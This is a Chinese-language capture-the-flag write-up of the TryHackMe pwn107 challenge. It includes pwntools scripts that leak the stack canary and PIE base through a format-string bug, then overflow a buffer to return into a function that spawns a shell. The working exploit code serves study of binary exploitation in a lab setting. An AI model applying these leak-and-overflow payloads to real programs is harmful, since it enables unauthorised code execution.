THM_pwn107(思路)

admin 2024年11月21日14:17:27评论7 views字数 5568阅读18分33秒阅读模式

pwn107

checksec

Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
Stripped:   No

运行情况

THM_pwn107(思路)

初步推测,可能还是格式化字符串漏洞?

IDA分析

int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[32];// [rsp+0h] [rbp-40h] BYREF
char v6[24];// [rsp+20h] [rbp-20h] BYREF
unsigned __int64 v7;// [rsp+38h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setup(argc, argv, envp);
  banner();
...
printf("THM: What's your last streak? ");
  read(0, buf,0x14uLL);
printf("Thanks, Happy hacking!!nYour current streak: ");
printf(buf);
puts("nn[Few days latter.... a notification pops up]n");
puts(aHiPwnerKeepHac);
  read(0, v6,0x200uLL);
return __readfsqword(0x28u)^ v7;
}

buf有32字节,有个  read(0, buf, 0x14uLL); printf(buf);

读入只有20字节

v6 24字节,有个 read(0, v6, 0x200uLL);,读取倒是远远超过24字节

另外get_streak函数,地址 94C

unsigned __int64 get_streak()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("This your last streak back, don't do this mistake again");
  system("/bin/sh");
  return __readfsqword(0x28u) ^ v1;
}

总共两次输入的机会,依靠第一次输入溢出是不可行了,因为已经限制字节数了

看看第二次输入,能否溢出一下

payload=b"A"*32+p64(0x94C)
import sys
from pwn import*
from struct import*

exe ='./pwn107'
context.binary = ELF(exe,checksec=False)

payload =b"A"*32+p64(0x94C)

p = process(exe)
p.sendline("123")
p.sendline(payload)

p.recvline()

p.interactive()

THM_pwn107(思路)

stack smashing

它有栈破坏检测

https://wiki.mrskye.cn/Pwn/stackoverflow/Canary/

canary 实现和设计思想都比较简单, 就是插入一个值, 在stack overflow发生的高危区域的栈空间尾部, 当函数返回之时检测canary的值是否经过了改变, 以此来判断stack/buffer overflow是否发生

canary绕过

通过输出函数、格式化字符串漏洞等

canary呢,在IDA中,就是指main函数的v7,在内存里就叫 rbp-0x8

https://razvioverflow.github.io/tryhackme/pwn101.html

通过这个视频可以了解到:

以往的溢出,是可以直接溢出:

AAAAAAAAAA就完事了

但是现在半路杀出了个canary

那么我们只要知道这个canary的数据:

AAAAA+canary+AAAAA,不更改canary原本的样子就行啦

(粗俗地理解为,比如 buf[32])

原来的结构是:32字节+保存寄存器的8字节(s-8字节)+返回地址的8字节(r-8字节)

现在就是:32字节+canary+s-8字节+r-8字节

思路

思路就是通过第一个printf函数得到canary位置

第二个printf函数进行溢出尝试

gdb调试

payload = b"%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX"

canary在pwndbg中直接用canary就可以找到位置,也可以stack,但这个值是动态变化的

THM_pwn107(思路)

它和输入变量的地址距离是多少?这里的距离是指用 %lX,弹栈,要弹几次

看,从输入变量的起始地址出发,那就是弹到第7次

而且变量也是动态变化

THM_pwn107(思路)

看,右侧两次的 $rbp-0x40 :头一次运行时,地址为9e0结尾;后面的就是d50结尾了

所以先尝试找变量位置

动态变量地址:

直接运行原程序

THM: What's your last streak? AB.%lX.%lX.%lX.%lX     
Thanks, Happy hacking!!
Your current streak: AB.7FFCE63C82A0.0.0.0

显示不全了,改一下

THM: What's your last streak? AB.%5$lX.%6$lX.%7$lX
Thanks, Happy hacking!!
Your current streak: AB.7F8FA5356F40.586C2435252E4241.252E586C2436252E

好,注意这个4241,那不就是输入的AB?

所以我们可以确定变量的位置在 %6$lX

canary地址:

上面已经确认了canary在变量基础上的第七次,所以就似乎%13$lx,可以验证一下

payload = b"AB.%6$lx.%13$lx"

THM_pwn107(思路)

可以,没问题

代码如何提取这个值呢,如图:

THM_pwn107(思路)

那么之后第二次发送不就是这样?

payload=b"A"*24+p64(canary)+b"A"*8+p64(get_streak)

import sys
from pwn import*
from struct import*

exe ='./pwn107'

payload =b"AB.%6$lx.%13$lx"
#p = gdb.debug(exe,"b main")
p=process(exe)
p.sendline(payload)
p.recvuntil("streak:")
buf=p.recvline()
print(buf)
buf1=buf.split(b"n")[0].split(b".")[2]
print(buf1)
canary=int(buf1,16)
print(canary)
p.recvline()
p.recvline()
payload2=b"A"*24+p64(canary)+b"A"*8+p64(0x94C)
p.sendline(payload2)
p.interactive()

哦豁,报错了,为什么?

动态函数地址:

THM_pwn107(思路)

得,函数的地址也在变化,那怎么获取动态函数地址?

https://ctf-wiki.org/pwn/linux/user-mode/summary/get-address/

https://cloud.tencent.com/developer/article/1515251

根据wp,它是找到静态库地址、动态库地址,这个差值就是动态函数基址

静态库地址,找的是 __libc_csu_init,为什么?

动态库地址是:%9$lx,这又是为什么?

感觉像是这样:

这个动态函数基址:

1.先找到一个函数A,得到它的静态地址x,2.再去找这个A的动态地址y;3.y-x就是动态基址?

验证一下,如何找A的动态地址呢?这里面用了 __libc_csu_init 的(为什么不直接找get_streak?

静态的这样找:

https://ir0nstone.gitbook.io/notes/binexp/stack/aslr/aslr-bypass-with-given-leak ,直接调用elf

至于动态的,wp用的不是pwndbg,我不懂它的操作,百思不得其解,这wp是怎么看出来,仅和输入变量差3次调栈?

直接运行wp的部分代码,修改了下是这样:

import sys
from pwn import*
from struct import*

exe ='./pwn107'
binary = context.binary = ELF(exe,checksec=False)
static_libc_address = binary.symbols.__libc_csu_init
print("static:{}".format(hex(static_libc_address)))
#payload = b"AAAAAAAAAAA"
payload=b"%9$lx.%13$lx"
p=process(exe)
#p = gdb.debug(exe,"b main")
p.sendline(payload)
p.recvline()
#p.recvuntil("miss")
p.sendline("3")
p.interactive()
THM_pwn107(思路)

好,它所谓的静态库地址,那就是程序运行前,也就是IDA看到的地址 , 0xa90

动态库地址那就是运行时gdb所print的地址0x5610..a90

那么我这里和wp中不一样,动态库地址,不在%9$lx这里,0x5610..a90它甚至在stack中都不出现。。。

6

我反复看了看wp的视频

先 b main,进到了main函数中,再打两个断点

THM_pwn107(思路)

b *0x0000555555400a36

b *0x0000555555400a3b

按 c继续,输入字符串ABCD,回车

它的stack能看见 __libc_csu_init的地址,我怎么看不见,嘶

直到我用了同样的工具,同样的命令。。。也不行

r2 -d -A pwn107
pdf @ main

[0x7ffb60f86b00]> db 0x563f80600a36
[0x7ffb60f86b00]> db 0x563f80600a3b

dc
pdf
pxr @ rsp

THM_pwn107(思路)

我思考了一秒钟,那可能是库的问题,那没办法啊

就这样吧,就假设我找到了

答案

https://vvelitkn.com/binary%20exploitation/Pwn101-TryHackMe-CTF-Writeup/

#!/usr/bin/env python

import sys
from pwn import*
from struct import*

exe ='./pwn107'
binary = context.binary = ELF(exe,checksec=False)
static_libc_address = binary.symbols.__libc_csu_init

p = process()
p.recvuntil(b"streak?")
payload =b"%10$p.%13$p"

p.sendline(payload)

p.recvuntil(b"streak:")
output = p.recv().split(b"n")[0]

dynamic_libc_address =int(output.split(b".")[0].strip(),16)
canary =int(output.split(b".")[1].strip(),16)

dynamic_base_address = dynamic_libc_address-static_libc_address
binary.address = dynamic_base_address

dynamic_get_streak = binary.symbols.get_streak
rop = ROP(binary)
ret_gadget = rop.find_gadget(['ret'])[0]

payload =b""
payload +=b"x90"*0x18+ p64(canary)+b"x90"*8+ p64(ret_gadget)+ p64(dynamic_get_streak)
p.sendline(payload)
p.interactive()

对于后面这一部分,就是常见的ret那种,估计也是为了解决栈对齐?不知道+1的方法是否还可行了

总结

1.PIE启动呢就是地址随机化,需要确认动态基址

2.此题是通过格式化字符串漏洞泄露已知动态地址得到动态基址

3.elf的快捷查址调用

4.为什么不直接找get_streak的理由是因为,它在stack里没出现过,所以确认不了

参考

wp1:https://razvioverflow.github.io/tryhackme/pwn101.html

wp2:https://vvelitkn.com/binary%20exploitation/Pwn101-TryHackMe-CTF-Writeup/

找地址:https://ctf-wiki.org/pwn/linux/user-mode/summary/get-address/

https://cloud.tencent.com/developer/article/1515251

原文始发于微信公众号(羽泪云小栈):THM_pwn107(思路)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月21日14:17:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   THM_pwn107(思路)https://cn-sec.com/archives/3398064.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息